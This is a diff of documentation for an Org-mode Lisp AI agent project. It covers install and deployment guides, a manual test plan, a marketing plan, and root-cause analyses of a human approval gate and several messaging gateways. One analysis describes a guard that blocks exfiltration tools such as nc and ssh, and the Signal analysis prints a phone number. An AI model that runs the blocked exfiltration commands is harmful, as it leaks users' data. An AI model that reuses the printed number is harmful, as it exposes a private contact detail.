-* 5. Release & Publication Plan (v0.1.0)
-- *Documentation:*
-  - ~USER_MANUAL.md~: A comprehensive guide on the one-liner installation (~opencortex.sh~), daily workflow, and navigating the Memex directory structure.
-  - ~CONTRIBUTING.md~: A guide to "Literate Granularity" engineering standards and creating new ~org-skill-*.org~ files.
-- *Legal Finalization:* 
-  - Assign the *AGPLv3* open-source license. 
-  - Implement a broad *Contributor License Agreement (CLA)* process for external contributors to license rights back to the core project.
-  - Update ~LICENSE~ and finalize ~CHANGELOG.org~.
-- *End-to-End Walkthrough:* Execute a clean-slate test of the installation script, boot sequence, environment variable parsing, and autonomous background worker triggers.
-- *Marketing & Launch:* Migrate the canonical repository to GitHub (configure topics, badges, and issue templates). Record a high-fidelity GIF/video of the new TUI interaction and execute announcements on Hacker News, Reddit, and X/Twitter.
-
-* 6. User-Centric End-to-End Test Plan
-
-This section defines the precise workflow and expected user experience for the v0.1.0 MVP. It serves as the definitive manual testing script before release.
-
-** Phase 1: The One-Liner Installation & Boot
-- *Action:* The user executes the canonical curl-bash script: ~curl -fsSL https://raw.githubusercontent.com/gharbeia/opencortex/main/opencortex.sh | bash~
-- *Expected Experience:* 
-  1. The script detects the OS and installs any missing system dependencies (e.g., Docker, SBCL, Quicklisp).
-  2. It interactively prompts the user to enter as many LLM API keys as they choose to (e.g., Gemini, Anthropic, OpenAI). The user can skip this step and configure them later.
-  3. It asks the user for their existing folder structure and fills in the corresponding values (INBOX_DIR, DAILY_DIR, etc.) in ~.env.example~ to generate a valid ~.env~ file.
-  4. It compiles and launches the ~opencortex-server~ daemon in the background.
-  5. The user is greeted with a success message instructing them to run ~opencortex tui~.
-
-** Phase 2: First Contact (The TUI Experience)
-- *Action:* The user types ~opencortex tui~ in their terminal.
-- *Expected Experience:*
-  1. The terminal clears and launches the Croatoan UI.
-  2. The *Status Bar* appears at the bottom, indicating: ~[Scribe: Idle] [Gardener: Sleeping]~.
-  3. The user types a natural language message in the input box: "Hello, what is my current Memex structure?" and presses Enter.
-  4. The input box clears, and the user's message appears in the main viewport.
-  5. A few seconds later, the agent responds with a formatted Org-mode list of the directories, demonstrating successful Lisp s-expression communication over the TCP socket and valid probabilistic reasoning.
-
-** Phase 3: The Autonomous Subroutines
-- *Action:* The user creates a messy text file in ~/memex/daily/YYYY-MM-DD.org~ with a scattered thought about a new project, then waits.
-- *Expected Experience:*
-  1. Without any user prompting, the *Status Bar* updates to ~[Scribe: Distilling...]~.
-  2. A quiet log message appears in the TUI viewport: ~*System*: Scribe extracted 1 new Zettelkasten note.~
-  3. The user inspects ~/memex/notes/~ and finds a cleanly formatted, semantically tagged Org node containing the distilled thought.
-  4. The user intentionally breaks an Org-roam link in one of their notes. Minutes later, the Gardener awakens (~[Gardener: Auditing]~), and a log message appears indicating the link was repaired or flagged.
-
-** Phase 4: Deterministic Actuation (Slash Commands)
-- *Action:* The user types ~/status~ in the TUI.
-- *Expected Experience:* The TUI instantly prints a diagnostic report showing memory usage, uptime, and git status, bypassing the LLM entirely.
-- *Action:* The user types ~/commit~.
-- *Expected Experience:* The system runs the Engineering Standard gate, stages all changes in ~/memex~, and creates a git commit. The TUI confirms success.
-- *Action:* The user types ~/exit~.
-- *Expected Experience:* The TUI client gracefully disconnects and closes, returning the user to their standard bash prompt. The ~opencortex-server~ continues running safely in the background.

docs/USER_MANUAL.org

@@ -0,0 +1,183 @@
+#+TITLE: Passepartout User Manual
+#+AUTHOR: Passepartout Contributors
+#+STARTUP: content
+#+FILETAGS: :docs:manual:
+
+* Introduction
+Welcome to Passepartout. Passepartout is a neurosymbolic AI agent and a Lisp Machine operating system designed to autonomously maintain your Memex (knowledge base) and interact with you via multiple, equal-citizen interfaces.
+
+* Installation
+Passepartout is bootstrapped via a single shell script.
+
+** Quick start (curl)
+
+#+begin_src bash
+curl -fsSL https://raw.githubusercontent.com/amrgharbeia/passepartout/main/passepartout | bash -s configure
+#+end_src
+
+This will:
+1. Install system dependencies (SBCL, Emacs, git, curl, socat — detected for Debian or Fedora)
+2. Install Quicklisp (Common Lisp package manager)
+3. Tangle literate Org sources into runnable Lisp
+4. Launch the interactive setup wizard (LLM providers, gateways)
+
+If you already have Emacs installed, the installer skips it and uses your existing installation.
+
+* Configuration
+The system is configured via a `.env` file in the project root. Essential variables include:
+
+- `OPENROUTER_API_KEY`: Your LLM provider key.
+- `PROVIDER_CASCADE`: The fallback order for LLM providers (e.g., `openrouter,ollama,anthropic`).
+- `MEMEX_DIR`: The absolute path to your knowledge base (defaults to `~/memex`).
+
+* Interacting with Passepartout
+Because of the Unified Envelope Architecture, the kernel treats all clients as interchangeable. You must first boot the background daemon:
+
+#+begin_src bash
+./passepartout --boot &
+#+end_src
+
+** Terminal User Interface (TUI)
+For a rich, split-pane terminal experience:
+#+begin_src bash
+./passepartout tui
+#+end_src
+
+** Command Line Interface (CLI)
+For raw, pipe-friendly interaction:
+#+begin_src bash
+./passepartout cli
+#+end_src
+
+** TUI Commands
+
+When connected via the TUI, the following commands are available (type them in the input area and press Enter):
+
+| Command               | Action                                                 |
+|-----------------------+--------------------------------------------------------|
+| ~/help~               | List all available commands                             |
+| ~/focus <project>~    | Set the agent's foveal focus to a project by name      |
+| ~/scope memex~        | Set scope to full memex (all projects visible)         |
+| ~/scope session~      | Set scope to current session only                       |
+| ~/scope project~      | Set scope to focused project only                       |
+| ~/unfocus~            | Clear the foveal focus                                  |
+| ~/approve HITL-xxxx~  | Approve a pending HITL action by its token              |
+| ~/deny HITL-xxxx~     | Deny a pending HITL action by its token                 |
+| ~/theme <name>~       | Switch theme (dark, light, solarized, gruvbox)         |
+| ~/cost~               | Toggle session cost display in status bar               |
+| ~/voice on~           | Enable voice capture (planned v0.7.3)                  |
+| ~/voice off~          | Disable voice capture                                   |
+| ~/quit~               | Save history and exit (planned v0.3.3)                 |
+
+For multi-line input, start the line with ~\~ then press Enter to insert a newline without sending.
+
+** Human-in-the-Loop Approval
+
+When the Dispatcher blocks a high-risk action (shell command, network call, core file modification), it creates a Flight Plan requiring your approval.
+
+1. The TUI displays a yellow message: ~→ HITL required: /approve HITL-ab12~
+2. Review the proposed action in the Dispatcher trace (expand with Tab)
+3. Type ~/approve HITL-ab12~ to approve, or ~/deny HITL-ab12~ to deny
+4. Approved actions are re-injected into the pipeline and executed
+5. Denied actions are discarded and the Dispatcher records the decision as a permanent rule
+
+Each approval or denial teaches the Dispatcher — the rule counter in the status bar (~[Rules: 47]~) increments with every decision.
+
+* The Memex Structure
+Passepartout assumes a local folder structure representing your "Memex".
+- Core memories and identities are mapped to Org-mode files.
+- The `Scribe` background worker distills chronological logs into structured Zettelkasten notes.
+- The `Gardener` continuously repairs broken links and flags orphaned nodes.
+
+* Deployment
+
+** Bare metal (Debian / Fedora)
+
+The ~configure~ command supports both Debian-based (Ubuntu, Pop, Mint) and Fedora-based (RHEL, Rocky) distributions. It detects your distro automatically and installs the correct packages.
+
+#+begin_src bash
+./passepartout configure              # interactive
+./passepartout configure --non-interactive  # headless
+./passepartout configure --with-firewall    # also open port 9105
+#+end_src
+
+After configuration, you can re-run ~configure~ any time to add providers or link gateways.
+
+** Binary install (save-lisp-and-die)
+
+For platforms where SBCL cannot be installed (corporate laptops, shared hosts, constrained environments), a self-contained binary is provided:
+
+#+begin_src bash
+curl -fsSL https://github.com/amrgharbeia/passepartout/releases/latest/download/passepartout -o passepartout
+chmod +x passepartout
+./passepartout daemon
+#+end_src
+
+This binary bundles SBCL, all required Lisp code, native embedding inference, and a Swank server on port 4005. The experience is identical to a source install — the REPL is available, skills hot-reload, and the image is mutable. Memory survives snapshots.
+
+The binary is a convenience for constrained platforms. It is not a sealed container. The system remains constitutionally open — connect with SLIME, trace functions, inspect memory objects, modify the system while it runs.
+
+** systemd service (auto-start on boot)
+
+#+begin_src bash
+./passepartout install service
+#+end_src
+
+Installs a user-level systemd unit that starts the daemon on login. Logs are available via ~journalctl --user -u passepartout.service -f~.
+
+To remove:
+
+#+begin_src bash
+./passepartout uninstall service
+#+end_src
+
+** Docker
+
+A Debian-based Docker image is provided for containerized deployment.
+
+#+begin_src bash
+cd infrastructure/docker
+docker-compose up -d
+#+end_src
+
+This builds an image from ~debian:trixie-slim~ with all dependencies pre-installed. The memex directory is mounted from the host.
+
+** Backup
+
+#+begin_src bash
+./passepartout backup ~/my-backup.tar.gz
+#+end_src
+
+Backs up the config, data, and memex directories.
+
+** Restore
+
+#+begin_src bash
+./passepartout restore ~/my-backup.tar.gz
+#+end_src
+
+Restores from a backup file. Run ~passepartout doctor~ afterward to verify integrity.
+
+* Troubleshooting
+
+** The daemon won't start
+- Check SBCL is installed: ~which sbcl~
+- Run ~passepartout doctor~ to diagnose
+- Check port 9105 is free: ~lsof -i :9105~
+- Check the log output for errors
+
+** The TUI connects but shows "Disconnected"
+- The daemon may have crashed. Run ~passepartout daemon~ in another terminal
+- If the daemon is running, check it's listening: ~lsof -i :9105~
+- Use ~/reconnect~ (planned v0.6.0) to reconnect without restarting the TUI
+
+** The LLM returns garbage or fails to respond
+- Run ~passepartout doctor~ to verify your LLM provider keys
+- Check ~PROVIDER_CASCADE~ in your ~.env~ file
+- Try switching models: edit ~.env~ and restart the daemon
+- If using local models via Ollama, verify Ollama is running: ~ollama list~
+
+** Memory fails to load on startup
+- Check ~/memory.snap~ exists and is valid S-expression format
+- Run ~passepartout doctor~ to diagnose memory integrity
+- If corrupted, delete ~/memory.snap~ and restart — the daemon starts with empty memory

docs/deployment.org

@@ -1,36 +0,0 @@
-#+TITLE: Deployment Guide: Containerized OpenCortex
-#+AUTHOR: Amr
-#+DATE: [2026-04-11 Sat]
-#+FILETAGS: :deployment:docker:infrastructure:
-
-* Overview
-The ~opencortex~ is designed to run within a Docker container to ensure system dependencies (SBCL, Quicklisp, signal-cli) are perfectly matched across different host environments.
-
-* Prerequisites
-- Docker Engine
-- Docker Compose
-- A valid ~.env~ file in the ~projects/opencortex/~ directory (refer to ~.env.example~).
-
-* Quick Start
-** 1. Build and Start
-From the ~projects/opencortex/~ directory:
-#+begin_src bash
-docker-compose up --build -d
-#+end_src
-
-** 2. Check Logs
-#+begin_src bash
-docker-compose logs -f
-#+end_src
-
-* Volume Mapping
-The ~docker-compose.yml~ file automatically mounts your host's ~memex~ directory to ~/memex~ inside the container. This allows the agent to:
-1. Read/Write to your Zettelkasten and GTD files.
-2. Maintain its local state (Memory, snapshots).
-
-* Troubleshooting
-** signal-cli Identity
-If using the Signal gateway, ensure you have registered your number via the host's ~signal-cli~ or within the container. The state is preserved in the ~signal-state~ Docker volume.
-
-** Re-loading Skills
-The container pre-caches dependencies during the build. If you modify core Lisp logic, you must rebuild the image (~--build~). If you only modify ~.org~ skills in your memex, the agent can reload them dynamically if they are part of the startup scan.

docs/marketing-v0.1.0.org

@@ -1,46 +0,0 @@
-#+TITLE: v0.1.0 Launch & Marketing Plan
-#+AUTHOR: Amr
-#+FILETAGS: :marketing:release:autonomy:
-#+STARTUP: content
-
-* Overview
-With the v0.1.0 "Autonomous MVP" released, the goal is to leverage GitHub's social graph to build a community of early adopters, contributors, and power users who resonate with the "Thin Harness, Fat Skills" and "Local-First" philosophy.
-
-* 1. Licensing Strategy
-Before wide promotion, the project's license must align with its goals.
-- **MIT License (Current):** Maximum adoption, frictionless for developers to embed in their own tools. Good for rapid growth.
-- **GPLv3 / AGPLv3:** Enforces copyleft. Ensures any modifications or integrations by corporations must remain open-source. Protects the "Autonomous" ethos from proprietary enclosure.
-- **Dual Licensing:** Open-source for individuals, commercial license for enterprise usage (if monetization is a future goal).
-
-*Decision Needed:* Do we stick with MIT, or switch to a copyleft license (AGPL) to protect the autonomous nature of the project?
-
-* 2. The GitHub Migration & Setup
-To maximize visibility, the repository must be optimized for GitHub's ecosystem.
-- [ ] **Mirror/Migrate to GitHub:** Move the primary remote from the self-hosted Gitea to GitHub.
-- [ ] **README Optimization:** Add badges (License, Build Status, Version). Ensure the "Zero-to-One" curl command is prominent. Add an architecture diagram (mermaid).
-- [ ] **Repository Topics:** Add tags like `common-lisp`, `autonomous-agents`, `org-mode`, `pkm`, `zettelkasten`, `llm`, `local-first`.
-- [ ] **Contributing Guide:** Add `CONTRIBUTING.md` to explain the Literate Programming standard and how to add new "Skills".
-- [ ] **Issue Templates:** Create templates for "Bug Report" and "Skill Proposal".
-
-* 3. The PR & Social Media Campaign
-The narrative: "An autonomous AI agent that doesn't just chat, but lives natively in your Org-mode Memex. No Python glue code, no cloud lock-in—just pure, homoiconic Common Lisp."
-
-** Target Audiences & Channels
-1. **The Emacs / Org-mode Community:**
-   - *Channels:* `r/emacs`, `r/orgmode`, Hacker News (`/r/lisp`), Emacs News.
-   - *Hook:* "A background daemon that autonomously distills your daily logs into a Zettelkasten using LLMs."
-2. **The Local-First / PKM Community:**
-   - *Channels:* `r/Zettelkasten`, `r/PKM`, Obsidian/Logseq diaspora looking for more power.
-   - *Hook:* "Own your brain. An AI agent that runs locally on your Markdown/Org files with mathematical security gates."
-3. **The AI / Autonomous Agent Hackers:**
-   - *Channels:* Hacker News (Show HN), Twitter/X (AI tech Twitter).
-   - *Hook:* "Tired of fragile Python/Playwright agent wrappers? opencortex uses a deterministic Lisp microkernel to formally verify LLM actions before execution."
-
-** Launch Materials
-- **Demo Video (2 minutes):** Show the one-liner install, the agent running the `Scribe` skill in the background, and the user querying it via `opencortex chat`.
-- **Blog Post / Essay:** "Why we built an Autonomous Agent in Common Lisp." Discuss the fragility of current SOTA (Devin/SWE-agent) and the necessity of the Bouncer/Policy gates.
-
-* 4. Post-Launch Community Engagement
-- Encourage "Show and Tell" in GitHub Discussions.
-- Create a "Skill Directory" where users can share their custom `.org` skills.
-- Actively solicit feedback for the v0.2.0 (Lisp TUI) roadmap.

docs/quickstart.org

@@ -1,55 +0,0 @@
-#+TITLE: Quickstart Guide: The Road to Autonomousty
-#+AUTHOR: Amr
-#+DATE: [2026-04-11 Sat]
-#+FILETAGS: :quickstart:onboarding:guide:
-
-* 1. Introduction
-Welcome to ~opencortex~, the "Executive Soul" of your personal OS. This guide will help you set up and interact with your first probabilistic-deterministic agent.
-
-* 2. Prerequisites
-Before launching the harness, ensure your host environment has:
-- **Docker & Docker Compose**: The primary enclosure for the Lisp Machine.
-- **LLM API Keys**: At least one key for Gemini, Anthropic, or OpenAI.
-- **Emacs (Optional)**: For the full literate experience via ~opencortex.el~.
-
-* 3. Installation & Enclosure
-** Step 1: Clone the Autonomousty
-#+begin_src bash
-git clone https://github.com/amr/opencortex.git
-cd opencortex
-#+end_src
-
-** Step 2: Secret Configuration
-Copy the example environment file and add your keys.
-#+begin_src bash
-cp .env.example .env
-# Edit .env with your favorite editor
-#+end_src
-
-** Step 3: Launch the Image
-This will build the SBCL environment and start the Micro-Loader.
-#+begin_src bash
-docker-compose up --build -d
-#+end_src
-
-* 4. Interaction Gateways
-Once the harness is "Ready", you can interact with it via multiple sensors.
-
-** Gateway A: Emacs (communication protocol)
-If you have configured the ~opencortex~ package in Emacs:
-1. Open a chat buffer: ~M-x opencortex-chat-open~.
-2. Send: "Are you online, agent?"
-
-** Gateway B: External Sensors
-If you enabled Signal or Telegram in ~.env~, send a message directly to your bot.
-
-* 5. Verification (The Chaos Check)
-To ensure the harness is fully healthy, check the logs for the Micro-Loader summary:
-#+begin_src bash
-docker-compose logs -f opencortex
-#+end_src
-Look for: ~LOADER: Boot Complete. [Ready: 34] [Failed: 0]~
-
-* 6. Next Steps
-- **Extend the Brain**: Read the [[file:skill-creation.org][Skill Creation Guide]] to add custom Lisp skills.
-- **Deep Dive**: Explore the [[file:../literate/][literate/]] directory to understand the harness's architecture.

docs/rca/rca-boot-sequence.org

@@ -1,42 +0,0 @@
-#+TITLE: Root Cause Analysis: Micro-Loader & Deterministic Boot Sequence
-#+DATE: 2026-04-11
-#+FILETAGS: :rca:boot:loader:topological-sort:autonomy:
-
-* Executive Summary
-Refactored the arbitrary skill loading mechanism into a robust **Micro-Loader**. The system now calculates a deterministic boot sequence based on `#+DEPENDS_ON:` tags and protects the harness from malformed or hanging skills via package-based jailing and execution timeouts.
-
-* 1. Issue: Fragile Load Order
-** Symptoms
-Skills that depended on functions or variables from other skills would randomly fail to load depending on the filesystem's directory traversal order.
-** Root Cause
-`initialize-all-skills` used a simple `dolist` over `uiop:directory-files`, which has no semantic awareness of inter-skill dependencies.
-** Resolution
-1. **Metadata Scanning:** Implemented `parse-skill-metadata` to extract `:ID:` and `#+DEPENDS_ON:` without executing code.
-2. **Topological Sort:** Implemented a DFS-based `topological-sort-skills` to guarantee that prerequisites are loaded before their dependents.
-3. **Circular Detection:** Added explicit detection and error reporting for circular dependency loops.
-
-* 2. Issue: Shared State Corruption (Brain Rot)
-** Symptoms
-Variables or functions with the same name in different skills would silently overwrite each other, causing unpredictable behavior.
-** Root Cause
-All skills were being evaluated directly into the `opencortex` package.
-** Resolution
-**Package-Based Jailing:** Each skill is now evaluated within its own dedicated, shadowed package (e.g., `OPENCORTEX.SKILLS.ORG-SKILL-CHAT`). This ensures logical isolation while still allowing access to kernel exports.
-
-* 3. Issue: Boot Stall (The Hanging Skill)
-** Symptoms
-A single skill with an infinite loop or heavy synchronous initialization could hang the entire agent during startup.
-** Root Cause
-Skill loading was strictly synchronous and blocking on the main thread.
-** Resolution
-**Execution Timeouts:** Implemented `load-skill-with-timeout`, which wraps the loader in a monitored thread. If a skill takes longer than 5 seconds to initialize, the loader terminates the thread, jails the failure, and continues with the rest of the boot sequence.
-
-* 4. opencortex Mandate Alignment
-** Evolutionary Kernel
-The boot sequence is now a verifiable, mathematical process rather than a side-effect of filesystem organization.
-** Literate Granularity
-The `org-skill-skills.org` source was refactored into a strictly granular "one definition per block" format.
-
-* 5. Permanent Learnings
-- **Reverse Topological Order:** Remember that a DFS-based sort with `push` needs an `nreverse` to place dependencies at the front of the list.
-- **Path Portability:** Use `uiop:getcwd` instead of `pwd` for more reliable path resolution across different Lisp implementations and OSes.

docs/rca/rca-bouncer.org

@@ -1,33 +0,0 @@
-#+TITLE: Root Cause Analysis: Deterministic Engine Bouncer & Authorization Gate
-#+DATE: 2026-04-11
-#+FILETAGS: :rca:bouncer:authorization:autonomy:security:
-
-* Executive Summary
-Implemented the "Planning Mode" Bouncer to intercept high-risk Probabilistic Engine proposals (e.g., shell commands, Lisp evaluation). The system now forces these actions into an asynchronous "Flight Plan" Org node for manual Autonomous approval, fulfilling the "everything is a node" and high-integrity mandates.
-
-* 1. Issue: Automated High-Risk Execution
-** Symptoms
-Probabilistic Engine proposals involving `shell` or `eval` were executed immediately upon passing the `decide` gate's safety harness. This lacked human-in-the-loop oversight for irreversible or complex operations.
-** Root Cause
-Architecture gap. The system lacked an authorization state between "Safe" and "Executed".
-** Resolution
-1. **Interceptor:** Added `bouncer-check` to `deterministic.lisp`. It flags high-risk actions that lack the `:approved t` property.
-2. **Asynchronous Event:** If flagged, the harness emits an `:approval-required` event.
-3. **Flight Plan Skill:** Created `org-skill-bouncer.org` to:
-   - Catch the event and create a serialized Org node with state `PLAN`.
-   - Monitor the Memory for `APPROVED` states.
-   - Re-inject approved actions with the `:approved t` bypass flag.
-
-* 2. Design Decision: Org-native Approval
-** Requirement
-Align with "Homoiconic Memory" and "Lisp Machine Autonomousty".
-** Selected Path
-State-Based Approval (Org-native).
-- *Pros:* Auditable, asynchronous, utilizes existing Org-mode workflows.
-- *Cons:* Slightly more latency than an interactive prompt.
-** Alignment
-Ensures that the agent's "Flight Plans" are first-class citizens in the Memex, allowing the Autonomous to review and approve them using standard GTD tools.
-
-* 3. Permanent Learnings
-- **Serial Bypass:** Always include a specific bypass flag (e.g., `:approved t`) when re-injecting intercepted actions to prevent infinite interception loops.
-- **Heartbeat Listeners:** Periodic scanning of the Memory for state transitions is an effective way to implement asynchronous authorization gates without blocking the harness.

docs/rca/rca-formal-verification.org

@@ -1,36 +0,0 @@
-#+TITLE: Root Cause Analysis: Lisp-Native Formal Verification Gate
-#+DATE: 2026-04-11
-#+FILETAGS: :rca:security:formal-verification:autonomy:
-
-* Executive Summary
-Implemented a Lisp-Native Deterministic Prover to replace heuristic whitelisting with formal security invariants. This ensures that every high-impact action (shell, file I/O) is mathematically proven safe against the Autonomous's core mandates.
-
-* 1. Architectural Shift: Native vs. External
-** Issue
-The initial draft suggested using `Z3`, an external SMT solver. However, `Z3` was not available in the environment and would add significant complexity/bloat to the Docker image.
-** Resolution
-Leveraged Common Lisp's inherent strength in symbol manipulation to build a **Lisp-Native Prover**. Invariants are defined as high-order predicates that operate on the structure of proposed actions. This provides a self-contained, high-performance verification layer.
-
-* 2. Issue: Dependency Fragility
-** Symptoms
-System failed to load with `Package STR does not exist`.
-** Root Cause
-Incorrect assumption about the Quicklisp system name vs. the package name. The library is `cl-str` but the Quicklisp system is `str` and the package is `str`.
-** Resolution
-1. Updated `opencortex.asd` to depend on `:str`.
-2. Updated all source code and literate notes to use the `str:` prefix.
-3. Verified via explicit `ql:quickload` in the test runner.
-
-* 3. Formal Invariants Implemented
-- **Path Confinement:** Deterministically proves that any file operation or absolute path in a shell command is strictly within the `/home/user/memex` root.
-- **No Network Exfiltration:** Prevents the shell from invoking common exfiltration tools (`nc`, `ssh`, etc.) by inspecting the parsed command structure.
-
-* 4. opencortex Mandate Alignment
-** Soundness over Heuristics
-By moving to formal invariants, we have moved from "blacklisting bad things" to "proving safety." Any action that cannot be proven to satisfy all invariants is denied by default.
-** Literate Granularity
-The `org-skill-formal-verification.org` file follows the "one definition per block" mandate, ensuring that the logic of each invariant is individually documented and verifiable.
-
-* 5. Permanent Learnings
-- **Tooling Independence:** Whenever possible, prefer native Lisp logic over external binaries for core security gates to reduce the attack surface and deployment complexity.
-- **Environment Consistency:** Always use `(setf (uiop:getenv ...) ...)` for portable environment manipulation in tests.

docs/rca/rca-gateway-matrix.org

@@ -1,40 +0,0 @@
-#+TITLE: Root Cause Analysis: Matrix Gateway & Communication Track Completion
-#+DATE: 2026-04-11
-#+FILETAGS: :rca:gateway:matrix:chat:autonomy:
-
-* Executive Summary
-Successfully implemented the third and final external communication channel (Matrix) for OpenCortex v1.0. Resolved integration issues related to case-sensitivity in JSON keys and strict header requirements in `dexador`.
-
-* 1. Issue: Symbol Casing in JSON Keys
-** Symptoms
-The `TEST-MATRIX-INBOUND-NORMALIZATION` test failed because `room-id` was being extracted as `"!ROOM:HS.ORG"` (uppercase) instead of `"!room:hs.org"`.
-** Root Cause
-Common Lisp's default reader converts symbol names to uppercase. When `(string car-of-alist)` was called on a symbol generated by `cl-json`, it produced an uppercase string.
-** Resolution
-Updated the implementation to use `(string-downcase (string ...))` for room IDs and other case-sensitive Matrix identifiers.
-
-* 2. Issue: Since Token Extraction Failure
-** Symptoms
-The sync loop failed to update the `*matrix-since-token*`, causing duplicate message processing risk.
-** Root Cause
-Anticipating `:next-batch` but receiving `:next--batch` (or vice versa) due to inconsistent `cl-json` behavior across different environments or structures.
-** Resolution
-Implemented a robust `(or (cdr (assoc :next-batch json)) (cdr (assoc :next--batch json)))` lookup to handle both hyphenation styles.
-
-* 3. Issue: Type Error in Authorization Headers
-** Symptoms
-`dex:put` crashed with a `TYPE-ERROR`.
-** Root Cause
-I was passing a single string or an incorrectly nested list where `dexador` expected a strict alist of header pairs `(("Key" . "Value") ...)`.
-** Resolution
-Standardized all gateway HTTP calls to use proper alist nesting for headers.
-
-* 4. Completion: Communication Track
-With Telegram, Signal, and Matrix gateways now verified and passing tests, the OpenCortex has achieved full multi-channel parity.
-- **Telegram:** Polling via Bot API.
-- **Signal:** Wrapping `signal-cli`.
-- **Matrix:** Polling via `/sync` Client API.
-
-* 5. Permanent Learnings
-- **Case Sensitivity:** Matrix IDs (rooms, users) are case-sensitive; Lisp symbols are not. Always force downcasing or use strings for storage.
-- **Header Alists:** Always use dotted pairs `("Key" . "Value")` for `dexador` headers.

docs/rca/rca-gateway-signal.org

@@ -1,33 +0,0 @@
-#+TITLE: Root Cause Analysis: Signal Gateway & Multi-Channel Chat
-#+DATE: 2026-04-11
-#+FILETAGS: :rca:gateway:signal:chat:autonomy:
-
-* Executive Summary
-Successfully implemented the second external communication channel (Signal) using `signal-cli`. Further hardened the multi-channel chat logic and resolved JSON mapping discrepancies between Common Lisp and external CLI outputs.
-
-* 1. Issue: JSON Key Mapping Mismatch
-** Symptoms
-The `TEST-SIGNAL-INBOUND-NORMALIZATION` test failed despite the mock JSON appearing correct.
-** Root Cause
-`cl-json` default behavior for decoding. It converts camelCase keys from JSON (e.g., `dataMessage`) into kebab-case keywords in Lisp (e.g., `:DATA-MESSAGE`). I had incorrectly anticipated `:DATA--MESSAGE` or `:DATA_MESSAGE`.
-** Resolution
-1. **Diagnostic:** Added debug output to the test suite to inspect the exact plist structure returned by `cl-json`.
-2. **Correction:** Updated both the implementation and the literate note to use the correct `:DATA-MESSAGE` and `:SOURCE` keywords.
-
-* 2. Implementation: Signal-CLI Wrapper
-** Strategy
-Unlike Telegram's HTTP API, Signal requires a local binary (`signal-cli`). 
-- **Sensor:** Uses `uiop:run-program` with `receive --json` in a polling loop (5s interval).
-- **Actuator:** Uses `uiop:run-program` with `send -m <text> <recipient>`.
-** Security
-The system uses the pre-configured Signal account `+13322690326` discovered in the user's memex.
-
-* 3. Alignment with opencortex Mandates
-** Literate Granularity
-Strictly adhered to the "one definition per block" mandate throughout the new `org-skill-gateway-signal.org` file.
-** Verification
-The `gateway-signal-suite` (10 checks) provides full coverage for inbound parsing and outbound command generation.
-
-* 4. Permanent Learnings
-- **JSON Semantics:** Always verify the specific keyword transformation rules of the JSON library when dealing with external CLI outputs.
-- **Process Robustness:** `uiop:run-program` is the reliable standard for CLI-based gateways in SBCL.

docs/rca/rca-gateway-telegram.org

@@ -1,43 +0,0 @@
-#+TITLE: Root Cause Analysis: Telegram Gateway & Channel-Aware Chat
-#+DATE: 2026-04-11
-#+FILETAGS: :rca:gateway:telegram:chat:autonomy:
-
-* Executive Summary
-Successfully implemented the first external communication channel (Telegram) and decoupled the Chat Agent from its Emacs-centric roots. Resolved significant load-order and dependency issues identified during integration.
-
-* 1. Issue: Undefined Foundational Functions
-** Symptoms
-During compilation, `gateway-telegram.lisp` failed with `UNDEFINED-FUNCTION` for `register-actuator` and `harness-log`.
-** Root Cause
-Poorly scoped foundational functions. These were defined in `core.lisp` (the loop orchestrator), which was loaded *after* the gateways in `opencortex.asd`. This created a "Circular Intention" where the gateways needed the harness to exist before the harness could load the gateways.
-** Resolution
-1. **Relocation:** Moved `*actuator-registry*` and `register-actuator` to `communication.lisp` (the foundation).
-2. **Reordering:** Adjusted `opencortex.asd` to load `core.lisp` (containing the stimulus loop) immediately after the deterministic gates but before the physical sensors (gateways).
-
-* 2. Issue: Hardcoded Chat UI
-** Symptoms
-The `Chat Agent` could only respond via Emacs buffer insertion, rendering it useless for external channels like Telegram.
-** Root Cause
-Architectural myopia. The original chat skill assumed the user was always in front of Emacs.
-** Resolution
-Refactored `org-skill-chat` to be **Channel-Aware**:
-- It now extracts `:channel` and `:chat-id` from the inbound stimulus.
-- It dynamically generates the Probabilistic Engine mandate, instructing the LLM to use the appropriate `:target` (e.g., `:telegram`) based on the conversation context.
-
-* 3. Side-Issue: UIOP Portability
-** Symptoms
-Tests failed with `Symbol "SETENV" not found in the UIOP/DRIVER package`.
-** Root Cause
-Misinterpretation of the `UIOP` API. `setenv` is not a standard export; the portable way is using `(setf (uiop:getenv ...) ...)`.
-** Resolution
-Updated all test environment setup to use the `setf` accessor.
-
-* 4. opencortex Mandate Alignment
-** Autonomous Boundary
-By moving the Telegram API logic to a user-space skill and communicating with the core via standard stimuli, we have respected the microkernel boundary.
-** Homoiconic Memory
-All Telegram interactions are now logged as `:chat-message` events, ensuring the agent's history is unified regardless of the platform.
-
-* 5. Permanent Learnings
-- **Foundation First:** Registries and logging macros must reside in the most foundational layers (`protocol` or `package`) to avoid load-order fragility.
-- **Instruct the Actuator:** When adding new channels, always update the Chat Agent's neural prompt so it knows how to "speak" back through the new interface.

docs/rca/rca-infrastructure-docker.org

@@ -1,30 +0,0 @@
-#+TITLE: Root Cause Analysis: Containerized Infrastructure (Docker)
-#+DATE: 2026-04-11
-#+FILETAGS: :rca:docker:deployment:infrastructure:autonomy:
-
-* Executive Summary
-Standardized the `opencortex` execution environment by creating a production-grade Docker infrastructure. This ensures that all system dependencies, including the Lisp runtime and external binaries like `signal-cli`, are locked down and portable.
-
-* 1. Architectural Intent: The "Clean Room" Model
-** Problem
-The `opencortex` was relying on host-local binaries (`sbcl`, `signal-cli`) and manually configured Quicklisp dists. This made deployment to other environments (e.g., a VPS or a Autonomous Home Server) fragile and prone to version drift.
-** Solution
-1. **Dockerfile:** Created a multi-step build process that installs Debian Bookworm, SBCL, Java, and `signal-cli 0.14.0`.
-2. **Pre-Caching:** The build process triggers a `ql:quickload` of the `:opencortex` system, ensuring all Lisp dependencies are pre-downloaded and stored in the image layer, drastically reducing startup time.
-3. **Compose Orchestration:** Standardized the runtime via `docker-compose.yml`, which handles volume mounting of the user's `memex` directory and injection of `.env` secrets.
-
-* 2. Volume Mapping & Persistence
-** Strategy
-To maintain the "Autonomous" mandate, the agent's code is isolated, but its memory (the `memex`) remains on the host. 
-- **Mapping:** `../..` (host) -> `/memex` (container).
-- **State:** Created a named Docker volume `signal-state` to ensure that `signal-cli` identities and cryptographic keys survive container restarts and image updates.
-
-* 3. Alignment with opencortex Mandates
-** Evolutionary Completion
-By moving to Docker, we have achieved "Evolutionary Completion" for the deployment track. The system is no longer a collection of scripts; it is a deployable appliance.
-** Documentation
-A new `Deployment Guide` was added to `docs/deployment.org` to ensure standard operating procedures are preserved.
-
-* 4. Permanent Learnings
